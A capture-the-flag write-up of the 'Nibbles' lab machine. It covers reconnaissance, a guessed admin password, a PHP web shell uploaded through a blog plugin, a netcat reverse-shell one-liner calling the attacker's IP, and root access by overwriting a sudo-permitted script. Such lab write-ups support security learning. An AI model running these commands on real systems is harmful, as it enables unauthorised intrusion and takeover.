alt text

Information Gathering

Rustscan finds SSH and HTTP running on the target:

rustscan --addresses 10.129.91.159 --range 1-65535

alt text

whatweb shows Apache is running on HTTP:

alt text

Enumeration

HTTP - TCP 80

Website shows “Hello world!” message:

alt text

/nibbleblog/ path is exposed from the source code:

alt text

/nibbleblog/ is a blog but has no posts yet:

alt text

searchsploit shows that nibbleblog is vulnerable to SQL injection and Aribitrary file upload:

alt text

Using feroxbuster for directory bruteforcing, we see several interesting paths such as admin, admin.php, and content:

sudo feroxbuster -u http://10.129.91.159/nibbleblog/ -n -x php /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

alt text

Exploring around newly discovered file paths, nibbleblog/content/private/config.xml shows the username admin:

alt text

/admin.php is a login page:

alt text

Trying the the password nibbles for the admin, we managed to successfully login:

alt text

Shell as nibbler

Web Shell upload

Going to Plugins, we can see installed plugins, including My image:

alt text

my image plugin provides feature for file upload. Let’s try uploading p0wny-shell.php:

alt text

/nibbleblog/content/private/plugins/my_image/ shows that the php web shell was successfully uploaded:

alt text

Accessing image.php, we have the web shell as the nibbler:

alt text

In order to obtain a proper shell on terminal, we will lauch the command below towards our local netcat listener:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.155 1337 >/tmp/f

Now we have a shell as nibbler:

alt text

Privesc: nibbler to root

Sudoers

monitor.sh can be executed as the root without needing password:

sudo -l

alt text

Let’s unzip personal.zip to access monitor.sh:

alt text

monitor.sh seems to be a server health monitoring script from tecmint.com:

alt text

Looking at the permission, we can overwrite the file:

alt text

We will overwirte monitor.sh with bash command:

echo "/bin/bash" > monitor.sh

alt text

Before executing monitor.sh with sudo, we will spawn a interactive tty shell using python: python3 -c 'import pty; pty.spawn("/bin/bash")'

Now executing overwritten monitor.sh file with sudo, we have the shell as the root:

alt text

References